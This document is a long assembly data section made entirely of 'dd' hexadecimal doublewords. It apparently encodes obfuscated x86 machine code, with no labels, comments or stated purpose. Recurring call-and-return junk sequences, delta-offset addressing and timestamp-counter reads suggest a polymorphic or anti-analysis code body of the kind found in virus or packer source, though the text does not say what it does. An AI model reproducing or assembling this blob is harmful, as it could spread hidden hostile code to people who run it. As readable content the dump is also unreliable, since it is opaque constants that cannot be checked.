		dd 9964E8BFh, 6A068941h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0A453C351h,	6F11992Ch
		dd 0F1858B10h, 6A062C1Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 2D15C350h, 704B3B96h
		dd 5EDB589h, 4689062Ch,	50006A04h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 439A5420h, 4F53CE2h, 58C0F18h
		dd 66000000h, 97EACB81h, 0BF665350h, 895BDD81h,	6A2434h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8BA572C3h, 2C00AD9Dh, 18B5FF06h, 6A062FB0h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8141C350h, 50713EF3h, 0B5BD335Eh, 68062C1Bh,	0A209E6DEh
		dd 0DB0FBF66h, 21240481h, 605E151Dh, 2CF59589h,	8B60062Ch
		dd 2C312D95h, 0C1B58906h, 61062C25h, 8DF88A61h,	2FB02085h
		dd 0C9BD8B06h, 50062C20h, 0EE960h, 722D0000h, 8F413401h
		dd 27D83014h, 4E04335Dh, 8961D78Bh, 0B70F2404h,	6595FFDEh
		dd 89062C34h, 2C2C4DBDh, 0FA8A6106h, 29C185C7h,	3062Ch
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 669C8AC3h, 0BD83FB8Bh, 62FB020h, 0B840F00h
		dd 29000000h, 2C1C4985h, 1BE906h, 30500000h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 6800FC0h
		dd 89000000h, 2C15819Dh, 399D8B06h, 33062C13h, 2C12159Dh
		dd 21858906h, 83062C2Ch, 2C29C1BDh, 850F0306h, 434h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0E6C35747h, 0B020BD83h
		dd 0F00062Fh, 40B84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 8226366Bh, 0D008E3E6h
		dd 0D380396Ah, 20B5FF68h, 6A062FB0h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0D4E0C353h
		dd 0FF6FE714h, 2C19C995h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0C135BD32h
		dd 9D2AADCFh, 0B58BF830h, 62FB014h, 13A19501h, 6C7062Ch
		dd 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0A3C35343h, 0A58629D4h,	0A1958908h, 66062C19h
		dd 8B50FB8Bh, 243489FBh, 0B5FFFB8Bh, 62FB020h, 0C840Fh
		dd 870F0000h, 6, 2319B501h, 95FF062Ch, 62C08BDh, 0A8D0Fh
		dd 5E90000h, 92000000h,	16A8DBAAh, 0B014B58Bh, 9D8B062Fh
		dd 62C3119h, 23B1858Bh,	6A062Ch, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 675A1C3h, 0BB4F5D4Bh
		dd 0B7B14D43h, 0C4868944h, 6A000000h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 6B13C352h
		dd 79B2C4A4h, 8B6B91DBh, 2C2BA595h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 5AF05386h
		dd 538A76DFh, 6A04C283h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0F004C356h,	3FF10025h
		dd 5C2CB905h, 30F18D89h, 8B56062Ch, 2C1341BDh, 50895B06h
		dd 51006A20h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0FDCE635h, 688h,	0B9BD8B00h, 0E9062C08h
		dd 7, 58689F1h,	8DD7710Ah, 2FC56485h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 81C29228h, 0BB66EC36h, 86895FDDh, 0B8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 9DC35141h, 0B5016B82h
		dd 62C0A55h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 9C5422C3h, 0FA8BCD42h, 8B75AB5Bh
		dd 2C2185BDh, 20B5FF06h, 6A062FB0h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0FF11C352h
		dd 2C058995h, 9DBD8B06h, 50062C06h, 0BF243489h,	30EF2B13h
		dd 0B020B5FFh, 0D98A062Fh, 11D995FFh, 6A062Ch, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 2CB43DC3h, 6695E3C9h, 33955BBh, 2C20499Dh, 0B5BD8306h
		dd 62C07h, 5B840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0E15668C3h, 35235E9Fh
		dd 0D9B589h, 6696062Ch,	50B6E2BFh, 6A96F88Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 1AD0C352h, 971FC718h, 8BECF231h, 2C07619Dh, 20B5FF06h
		dd 0E8062FB0h, 6, 8E6DFA2Dh, 8E82696h, 0A5000000h, 6DF59743h
		dd 8B944B4Fh, 0FF5F5FDFh, 2C152995h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BE9AE31h
		dd 0B8000000h, 2AE0D31h, 65EF7550h, 0BD8BF6CEh,	62C2A51h
		dd 0B020B5FFh, 9D33062Fh, 62C1559h, 47995FFh, 0DF80062Ch
		dd 35BD835Ch, 2062C15h,	3E840Fh, 8BF80000h, 2C018985h
		dd 9860F06h, 0F000000h,	387h, 0FEBF0F00h, 6A0000C6h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 58E7C353h, 8509EAA5h, 62C2D05h, 166185C7h, 62Ch, 9D8B0000h
		dd 62C23CDh, 0FFF30DE9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 48531E54h, 8BB5C15Bh
		dd 2C1E6D9Dh, 29C18B06h, 2C2D3595h, 0A5858D06h,	8B062C32h
		dd 2C20EDBDh, 0BB665006h, 489E020h, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0BB66FD88h
		dd 6A24ACh, 89B50950h, 5F062C33h, 0C8E0F56h, 0E9000000h
		dd 7, 0C3C64727h, 5F46EB5Fh, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 8922CCC3h
		dd 2C10358Dh, 29858D06h, 0E806308Fh, 12h, 0D9941C47h, 94768102h
		dd 1838897Bh, 0E0C92B55h, 8589395Bh, 62C1CCDh, 5C0835Fh
		dd 90B9F780h, 66525056h, 310FFB8Bh, 5AD88B66h, 60505B58h
		dd 0EE8h, 1B98DC00h, 41AD0428h,	0BAF195C6h, 0E820E6C1h
		dd 14h,	0AC68B2EDh, 148EBBECh, 0DF54A361h, 1441EB00h, 0B00EFDD2h
		dd 0B866585Eh, 90617EEDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 3AC35141h
		dd 8E0D11C7h, 6AAFEB76h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 8BA7FB5Ch, 2C0F11BDh
		dd 49BD8B06h, 6A062C1Ch, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 60CC6565h, 118C0Fh, 0CE90000h
		dd 0E8000000h, 14F799AAh, 519006F8h, 8BC0AAA9h,	2C1F898Dh
		dd 95FF6106h, 62C239Dh,	7818589h, 8D8D062Ch, 62FA042h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0CFC35545h
		dd 49F7B41Eh, 78E6C7Bh,	83F78166h, 6AD1FF69h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0B483C351h, 83480B5Ah, 0BF469B20h, 2D477DB5h, 4F0FC781h
		dd 0BD835284h, 62C09A1h, 0AC850F01h, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 6563C355h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 44AB3CC3h, 0C475CF19h, 9D8B99EDh
		dd 62C06E9h, 10E85090h,	0FA000000h, 8BD495FBh, 0C2F452C3h
		dd 67242D03h, 0E834B14Eh, 12h, 0A0CCF7C1h, 70D3C75Ch, 9EFB55A8h
		dd 65E2A2DEh, 5B5B2F83h, 51006A90h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0F74023FBh, 8995FF85h
		dd 0F062C05h, 681h, 0CEDF8100h,	0E9290E68h, 0D37h, 0E8h
		dd 0ED815D00h, 6308F33h, 1E999D8Bh, 9D8B062Ch, 62C1D39h
		dd 9AD3858Dh, 8E0F062Fh, 3, 5058DB80h, 66605250h, 5250F38Bh
		dd 585A310Fh, 50310F61h, 0F5F5052h, 5A616031h, 89585A58h
		dd 12E92404h, 0FA000000h, 7F83B52Dh, 5D639F9Ch,	41F204D7h
		dd 1D343D5Dh, 35FF6499h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 11C35545h
		dd 9983CF77h, 6663F7FEh, 64C73FBFh, 2589h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 3C43DCC3h, 0DF815844h, 56EDBB15h, 1A6985FFh,	6A062Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 6036DC3h, 0F0693E39h, 0B3969B90h, 6AFF6A26h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 7AD7C356h, 0B5FF7210h, 62C25F5h, 95FFFE8Bh, 62C04C5h
		dd 11BE9h, 0A1B58900h, 0B0062C0Ah, 0BD8B5700h, 62C12C5h
		dd 0FC70E65Bh, 0BF0F71E4h, 0F613CFFh, 0FB83h, 0F88B6600h
		dd 0C8B60FFCh, 8FCB8150h, 5F469AF7h, 6BAh, 81858900h, 8B062C1Bh
		dd 0FE8C1h, 391E0000h, 66A23A66h, 3790FC5Dh, 7FFB549Fh
		dd 0DEB70FC4h, 1D9D8B5Fh, 0C1062C15h, 0BF0F04E8h, 0E2F766F8h
		dd 0EE8h, 424CA300h, 61CAC71Dh,	0A3BD6879h, 0E9808C50h
		dd 9, 0B091FE2Bh, 2D423CC1h, 0C82B5BCDh, 3D18BF5h, 2C14AD9Dh
		dd 7E906h, 50570000h, 5BFFBF0Fh, 49858B5Bh, 8B062C26h
		dd 7C083DAh, 0FFB70F60h, 0D93E781h, 83617526h, 3BF900C0h
		dd 11830FD0h, 81000000h, 796C80C7h, 52E913h, 85310000h
		dd 62C0AA5h, 240D8D8Bh,	820F062Ch, 4, 0F25EBF66h, 0F01E183h
		dd 3384h, 0AE900h, 20090000h, 0C4F58A1h, 0EFA18127h, 240DA583h
		dd 66FE062Ch, 9589DF8Bh, 62C2649h, 3D953151h, 5B062C2Ch
		dd 80C78B60h, 0E961AFC1h, 0
		dd 0F845B58Dh, 8B0F062Fh, 6, 1EA58D89h,	6A062Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0D9C35747h, 0BD852963h
		dd 0FF062C0Ah, 2C26B195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 630DA492h
		dd 5011C08Bh, 3D9D332Ah, 0B9062C1Ch, 85Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0CC35040h, 6AFCE183h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 9FC7C352h, 7DFFD3E4h, 8B805707h, 2C24F99Dh
		dd 14F38106h, 0FC438E42h, 8D0Fh, 0BD8B0000h, 62C1191h
		dd 0BAC02Bh, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 725CC353h, 0D6F8C4BAh
		dd 0D262D781h, 33AD520Fh, 3E8D1C2h, 4E983D0h, 0BD23F475h
		dd 62C1B19h, 0FE9h, 2C072C00h, 0E40C3E92h, 53C7DC6Eh, 0C87E0EA3h
		dd 880Dh, 7E800h, 0A2830000h, 583B8D55h, 11E999h, 53C90000h
		dd 0DD24337Dh, 38137D73h, 1C566DF2h, 5F034F95h,	2BA5958Bh
		dd 6A062Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0F01F0AC3h, 0D98D8B36h, 6A062C12h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0B43DC356h, 95E3C92Ch, 0D659F2ECh, 0C18D2360h, 0E8062C11h
		dd 9, 0E735845h, 0D90B318Eh, 12E98Fh, 14BE0000h, 0DAC65C11h
		dd 0CFA5D704h, 0B8AFA1C1h, 4237DD80h, 0B509615Bh, 62C0D55h
		dd 1719589h, 8B50062Ch,	3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	4DC35747h, 2921D587h, 0E5E19C09h, 0F9BF0FF1h, 6830Fh
		dd 9D8B0000h, 62C25D5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 56C35747h, 9D8B0195h,	62C1DD5h, 2071BD83h
		dd 0F00062Ch, 4B84h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 9F714218h, 0B8h, 459D2B00h
		dd 8D062C1Bh, 2C4F518Dh, 0A9BD2306h, 0FF062C21h, 8E8E1h
		dd 0A01E0000h, 8EF141BEh, 43BB9D32h, 5B4929E1h,	29C1BD83h
		dd 0F00062Ch, 41F84h, 5BD8B00h,	83062C19h, 2C29C1BDh, 840F0106h
		dd 427h, 2D159D8Bh, 0BD83062Ch,	62C29C1h, 0DE860F03h, 60000003h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9BC35646h
		dd 660041DFh, 0D381D98Ch, 32C6C80Ah, 6A04E180h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 6556C350h, 8185DFFFh, 0F0CE6CE7h, 0E19D8B40h, 0A062C1Dh
		dd 0D4840FC9h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 8D77C351h, 1DF1858Bh
		dd 6A062Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 27D1C4C3h, 1E32498Ch, 66C5EEA1h, 0A6EAF381h
		dd 0B318533h, 6A062Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0FD288AC3h, 359D8B1Ch, 90062C2Dh
		dd 0B8BB6650h, 0F6090D8h, 74B7F2B7h, 8B006A61h,	2C344D9Dh
		dd 8FEA6806h, 75BB4EC4h, 817ADCC5h, 8C152434h, 5B524EDBh
		dd 7E8h, 4044E400h, 73D45D0Eh, 5BDEB70Fh, 346595FFh, 8589062Ch
		dd 62FB020h, 7DDB589h, 0BB66062Ch, 21E9AB89h, 0F000002h
		dd 285h, 8BDA8B00h, 2FB01885h, 68A0F06h, 8B000000h, 2C0F11BDh
		dd 1800C706h, 0E9000000h, 5, 2FA7A37Ah,	1CB58BF1h, 0F5062FB0h
		dd 0C55858Bh, 0BF66062Ch, 689A583h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0DFC35646h,	0FA70950Fh, 81B593D2h
		dd 0A0E200CBh, 0F1858B58h, 6A062C1Dh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 595C356h
		dd 0F2366F07h, 89FA8BABh, 6A0446h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 7E21B0C3h, 6240C8F9h
		dd 6033753Ch, 11E8h, 0CDC76600h, 21D9953Eh, 1DE5C5h, 0A73991B9h
		dd 858B41D5h, 62C0C99h,	0B5896158h, 62C1961h, 0CE896h
		dd 0F3CF0000h, 5E013A5h, 77C081E4h, 5250AF34h, 8B66310Fh
		dd 5B585ADEh, 8B665650h, 9965FDEh, 2C2C4585h, 18B5FF06h
		dd 6A062FB0h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 1F4DC355h, 116E939Dh, 0EBB6856h
		dd 0E86349FAh, 4, 1F03FFh, 0AE860h, 0A4380000h,	6F49F3B3h
		dd 1C44C0B8h, 5E8h, 0ACA8A100h,	5F58812Ch, 5F575250h, 0B6B8310Fh
		dd 5A24BEFBh, 66506158h, 8BF355BBh, 66042444h, 8BC434BBh
		dd 0BB665300h, 895F5E22h, 8B042444h, 6A58FBh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 5E135BC3h
		dd 0FA82B24Fh, 296055CCh, 2C1379BDh, 0F3816106h, 6EE90D8Fh
		dd 0B020858Dh, 6A062Fh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 433AC1C3h, 0BF0F08C2h, 6800FDFh
		dd 8B000000h, 2C18999Dh, 860F5006h, 3, 89DF8B66h, 850F2404h
		dd 6, 0E559589h, 0BD8B062Ch, 62C128Dh, 346595FFh, 8589062Ch
		dd 62C00A9h, 7E9h, 630DA400h, 5011C08Bh, 55006A61h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 1F3FABB5h, 0C2218C9Fh, 8D8909AEh, 62C2129h, 0C7FE8B66h
		dd 2C29C185h, 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 48625408h, 0B8D9D29h
		dd 0BD83062Ch, 62FB020h, 26840F00h, 80000000h, 39E92DCBh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 440AC351h, 0C30509Eh, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E626D6BFh, 57006A25h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0B5A9B294h, 6E467967h, 0BD8334EEh, 62C29C1h,	0CF850F03h
		dd 66000003h, 16BFD88Bh, 835049FCh, 2FB020BDh, 840F0006h
		dd 3BAh, 298DF381h, 0CF8169F5h,	3CEBB273h, 0B020B5FFh
		dd 6A062Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0C5D9B1C3h, 0D6D9D0EDh, 90BB66B7h, 0C995FF60h
		dd 53062C19h, 5FDFBF0Fh, 0B014B58Bh, 8D09062Fh,	62C0D79h
		dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 99B301C3h, 0BB665750h, 895B5B51h
		dd 0BD232434h, 62C0EFDh, 0B020B5FFh, 0BD29062Fh, 62C0631h
		dd 8BD95FFh, 0BD89062Ch, 62C1001h, 0B014B58Bh, 0BABF062Fh
		dd 0F7E9556h, 858BDFB7h, 62C23B1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h
		dd 4244481h, 19h, 37C35040h, 0DF7B52A8h, 89D98BE1h, 0C486h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0F1080A22h, 958B17B7h, 62C2BA5h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0D1C35646h, 82750553h
		dd 113F9DD3h, 8D01F98Bh, 62C30F1h, 6A04C283h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 81F6C351h, 0C9BD8BE2h, 89062C0Bh, 6A2050h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0CE5DD8C3h
		dd 58B0Fh, 80520000h, 8D5B99C3h, 2FC56485h, 0DBD8B06h
		dd 89062C29h, 0B886h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0F9A9EE5Dh, 0E9FDCF11h
		dd 0Ch,	0A6CD3F69h, 34338DDDh, 73BB1FFBh, 1EB6BB66h, 9529006Ah
		dd 62C1E35h, 0BE8h, 0EAC24500h,	5BDC0282h, 47D953E5h, 68C0Fh
		dd 0C7810000h, 1E041C0Ah, 20B5FF5Bh, 6A062FB0h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 3468C350h, 0DEBF0F9Eh, 8995FFF5h, 0E8062C05h, 0Ah, 0D01355B0h
		dd 264E42CFh, 9D8BBF6Ah, 62C09B9h, 85BD8B5Bh, 50062C33h
		dd 38B0F60h, 66000000h,	0F28BDE8Bh, 24348961h, 0A699589h
		dd 0B5FF062Ch, 62FB020h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 0CDC35141h, 2B859D03h, 95FF062Ch, 62C11D9h
		dd 0F38166FCh, 0BD83F1BAh, 62C07B5h, 57840F00h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0DC9FC350h, 6D55AC6h, 8C0FB6ABh, 6, 22BF6652h
		dd 96FC5F08h, 0F98B6650h, 1B8E0F96h, 57000000h,	14E9h
		dd 966AF700h, 0DD3E455Ah, 9FAFDE55h, 0B0AC8C1Ch, 0E01C5352h
		dd 0B5FF5FB4h, 62FB020h, 0A41BDF81h, 9D8B2312h,	62C2319h
		dd 152995FFh, 13E9062Ch, 0B8000000h, 578847C9h,	1035627Bh
		dd 678F2A67h, 0B4B564B3h, 0B5FFBFA4h, 62FB020h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0B0C35242h, 0FFF98B66h
		dd 2C047995h, 0E4BB6606h, 35BD8372h, 2062C15h, 2E840Fh
		dd 8BF80000h, 2C018985h, 1D958906h, 8B062C2Dh, 2C0DF1BDh
		dd 0C606h, 2C758501h, 830F062Ch, 0Ch, 68F0Fh, 840F0000h
		dd 0
		dd 166185C7h, 62Ch, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0EE4810C3h, 6407B4EEh
		dd 860F4BC9h, 6, 8BF1D781h, 0B2E93B24h,	8BFFFFF3h, 8D0CB3C1h
		dd 2C32A585h, 0D1852906h, 50062C29h, 48977B3h, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 6657E9EAh, 6A5FFE8Bh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0D4D5A0DBh, 0F5ABDB4Bh
		dd 61852919h, 6A062C00h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 977456B5h, 0C98D892Ch
		dd 8D062C0Bh, 309DFA85h, 5C08306h, 0DE8h, 0C29CD400h, 247DCA1Bh
		dd 134EB9F7h, 5E99AC3h,	0D2000000h, 0A7EB4EC1h,	0FB3505Bh
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 704FC352h, 0BB24EA54h,	3D0938F6h
		dd 6657006Ah, 6D1FCF81h, 6A006A5Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 6A4CC352h
		dd 7913F1Dh, 239D95FFh,	6A062Ch, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0BB66FCC3h, 8D8DB9E9h
		dd 62FA042h, 12E9h, 7EC52000h, 805396B5h, 0ACF3A82Eh, 0FB799249h
		dd 0FF60C4E2h, 2820FD1h, 0B7000000h, 0A1BD83F8h, 1062C09h
		dd 36850Fh, 9D8B0000h, 62C1D79h, 6E9026Ah, 77000000h, 24A44B3Fh
		dd 8B60503Ch, 48961D8h,	118D8924h, 89062C06h, 2C0E21B5h
		dd 8995FF06h, 33062C05h, 2C2C39BDh, 88E38006h, 0D89E9h
		dd 0E800h, 815D0000h, 309E04EDh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0B0B03ABCh
		dd 8E916h, 21250000h, 0F3299B59h, 6A69DFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 7DCF91C3h
		dd 8B4124D7h, 2C1DE1BDh, 0D3858D06h, 6A062F9Ah,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 2699C351h, 5BC075B3h, 9D338D59h, 62C161Dh, 8623D3BBh
		dd 8B665054h, 240489F9h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0F6C35343h, 0BB374CC6h, 0A5BD892Bh, 0F8062C24h
		dd 35FF64h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 4CEAC357h, 585891Bh
		dd 64062C09h, 2589h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 9DC7B6C3h, 0FFF98B8Bh
		dd 2C1A6985h, 61BD0106h, 6A062C1Dh, 55006AFFh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 2026B4BFh
		dd 22AB32E4h, 0F381665Eh, 853125F8h, 62C15E5h, 22C1B5FFh
		dd 9D89062Ch, 62C2A6Dh,	4C595FFh, 1CE9062Ch, 0FC000001h
		dd 816600B0h, 0E6F26FCBh, 10E970h, 8B0B0000h, 94626808h
		dd 542DF337h, 0F3152BF1h, 71E4B08Bh, 8F0Fh, 613C0000h
		dd 0ED830Fh, 0DA8B0000h, 80C8B60Fh, 6BA07CFh, 50000000h
		dd 0F299D33h, 8B5B062Ch, 2C07119Dh, 29C18B06h, 2C33A985h
		dd 4E8C106h, 72DBD23h, 0F766062Ch, 9E8E2h, 9AEF0000h, 0F334AB4Ch
		dd 669E1FF8h, 2B5BFE8Bh, 6810FC8h, 8B000000h, 2C21419Dh
		dd 8AD18B06h, 1AE9DAh, 0BB660000h, 11E94359h, 0F000000h
		dd 150E8828h, 4D246358h, 558560FCh, 0D9E3ED16h,	5AD858Bh
		dd 8D0F062Ch, 0
		dd 6607C083h, 0C083F88Bh, 8D858900h, 8B062C23h,	2C33FD9Dh
		dd 0FD03B06h, 1383h, 0E9DE8B00h, 4Bh, 68D0Fh, 66520000h
		dd 5B1208BBh, 1AF18D8Bh, 3160062Ch, 2C0B3585h, 0D1858B06h
		dd 61062C0Dh, 0F01E183h, 2284h,	83A3B300h, 2C1AF1A5h, 0F98BFE06h
		dd 1BFCB81h, 9589008Bh,	62C05ADh, 89BD09h, 0E9062Ch, 8D000000h
		dd 300245B5h, 71BD0306h, 89062C13h, 2C231185h, 6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0C21AC353h, 6BDCB239h, 9C5DF3Fh, 2C14F5B5h
		dd 0B195FF06h, 6A062C26h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 8420C351h, 0D7815197h
		dd 6076D734h, 88AB95Bh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0E183A9C3h, 0B99D01FCh
		dd 0FC062C06h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0EEC35141h, 74C66E2Eh, 11E99287h, 89000000h, 77C18D2Bh
		dd 0F8AA31FFh, 0D19653CCh, 11C11FA1h, 870FC02Bh, 0Ch, 6860Fh
		dd 0CB810000h, 6B1224B0h, 0BAh,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 3DA7CE0h, 2C01299Dh
		dd 0C233AD06h, 0D003E8D1h, 7504E983h, 0DFCF8F4h, 88h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 50C35747h, 97184CAh
		dd 0FBBF0F34h, 2BA5958Bh, 9D33062Ch, 62C1975h, 1905BD89h
		dd 8D8B062Ch, 62C12D9h,	4820Fh,	0BB660000h, 8B506777h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 4CC35545h, 692EC3C7h
